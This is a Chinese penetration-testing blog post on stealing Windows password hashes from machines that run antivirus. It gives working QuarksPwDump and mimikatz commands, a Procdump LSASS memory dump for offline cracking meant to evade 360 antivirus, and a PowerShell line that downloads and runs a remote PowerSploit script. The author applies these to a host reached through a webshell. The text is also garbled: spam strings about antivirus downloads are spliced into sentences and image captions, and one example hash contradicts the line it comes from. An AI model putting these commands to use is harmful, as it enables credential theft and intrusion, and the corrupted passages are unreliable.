利用场景主要为,机器装有杀毒软件情况下的HASH抓取技术,请勿用于非法用途!

本文为内网安全技术文章,共1438字,图片10张,阅读大约需要8分钟,实践时间依读者水平为准。

首先介绍一下windows密码Hash:

早期SMB协议在网络上传输明文口令。后来出现”LAN Manager Challenge/Response”验证机制,简称LM,它是如此简单以至很容易被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows加密过的密码口令,我们称之为hash(中文:哈希),Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。

NTLM-Hash与LM-Hash算法相比,明文口令大小写敏感,但无法根据NTLM-Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串”KGS!@#$%”。MD4是真正的单向哈希函数,穷举做为数据源出现的明文,难度较大。问题在于,微软一味强调NTLM-Hash的强度高,却避而不谈一个事实,为了保持向后兼容性离线杀毒软件,NTLM-Hash缺省总是与LM-Hash一起使用的。这意味着NTLM-Hash强调再高也是无助于安全的,相反潜在损害着安全性。增加NTLM-Hash后,首先利用LM-Hash的弱点穷举出原始明文口令的大小写不敏感版本,再利用NTLM-Hash修正出原始明文口令的大小写敏感版本。

Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如:

  1. Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::

表示用户名称为:Administrator

RID为:500

LM-HASH的值是

  1. AAD3B435B51404EEAAD3B435B51404EE

NT-HASH的值是

  1. CE770E312D64AE0933D455B994E9C97D

如果你知道这个用户的hash密码了,拿着

  1. C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC

去hash在线查询网站。

一般我用QuarksPwDump_v0.2b来抓取整个windows系列的密码hash,在windows server 2003那是一抓一个准,得到的hash值在简直是秒破。那么,问题来了,我在windows server 2008 和windows server2012下抓取的密码却是有些奇怪,按照软件介绍windows server2008和windows server2012都是可以抓取的。好了,我还是结合虚拟机系统来说明一下。目前正好虚拟机打开的是windows server2012,那就先用它来演示一下吧。

QuarksPwDump抓取密码的命令如下:(其他命令可以参考软件说明)

  1. quarkspwdump.exe -dhl

结合图示,我们来看一下:

百度杀毒离线安装包_离线杀毒软件_360离线杀毒软件下载

好像是抓取了系统的Hash了,按照前面对windows Hash知识的介绍:

离线杀毒软件_百度杀毒离线安装包_360离线杀毒软件下载

LM-HASH的值是

AAD3B435B51404EEAAD3B435B51404EE

NT-HASH的值是

CE770E312D64AE0933D455B994E9C97D

那好,我拿得到的整个HASH值拿去在线破解,结果如下:

离线杀毒软件_百度杀毒离线安装包_360离线杀毒软件下载

破解不出来,对不对。这下是不是觉得很囧。

我们拿出另一款密码抓取神器mimikatz来试一下,和上面的结果做一下比较。命令如下:

首先输入命令:

privilege::debug接着输入命令:

百度杀毒离线安装包_离线杀毒软件_360离线杀毒软件下载

  1. sekurlsa::logonpasswords

图示结果如下:

有没有发现,mimikatz和QuarksPwDump抓取的LM-HASH是不同的,而且mimikatz直接就把系统密码给取到了。NT-HASH两款软件得到的结果是一样的。

好,再说一点渗透测试过程中的思路,我也是昨天才知道,渗透测试真的是一个漫长的经验积累过程。先说下场景,我已经chopper连上对方主机,但是系统默认安装了360杀毒软件和360安全卫士。我上传的mimikatz和QuarksPwDump都被查杀了。也就是说我想利用这两款软件常规思路获取系统的密码HASH已经是不太可能了。其实离线杀毒软件,我们可以先dump对方主机的LSASS内存文件,然后在自己主机用mimikatz进行处理,这样就可以得到对方主机的系统HASH和密码了。还是以虚拟机的windows server2012还演示一下。

可以到微软的官方网站下载ProDump,最新版本为v7.01,这个肯定不会引起杀毒软件的报毒和查杀了。

命令如下:

  1. Procdump.exe -accepteula -ma lsass.exe lsass.dmp

图示如下:

离线杀毒软件_百度杀毒离线安装包_360离线杀毒软件下载

接下来,再演示一下本地用mimikatz进行破解:

首先输入命令:

  1. mimikatz.exe "sekurlsa::minidump lsass.dmp"

接着输入命令:

  1. sekurlsa::logonpasswords

结果图示如下:

可以看到,能够得到离线得到系统密码,这样就可以在对方主机上绕过杀毒软件的查杀了。

在乌云知识库中也有看到利用PowerShell完成Prodump一样工作的命令。具体命令如下:

  1. powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"

在虚拟机下的windows server2012下进行尝试,结果失败了,不知道什么鬼:

360离线杀毒软件下载_百度杀毒离线安装包_离线杀毒软件

继续尝试,又成功了。囧,如图所示:

在虚拟机中windows server2008中进行尝试,得到如下图所示:

进行破解,得到如下图所示:

我在被渗透主机上进行尝试过,发现也是可行的,不过chopper的虚拟终端下会显示错误,实际上已经成功执行Powershell代码。不过总体感觉还是Prodump用起来更加方便。

对了,Metasploit中也有集成mimkatz的。具体教程可以参考

  1. http://www.offensive-security.com/metasploit-unleashed/Mimikatz

好了,就说到这里。算是留个笔记,仅供渗透交流学习,请不要用于非法途径。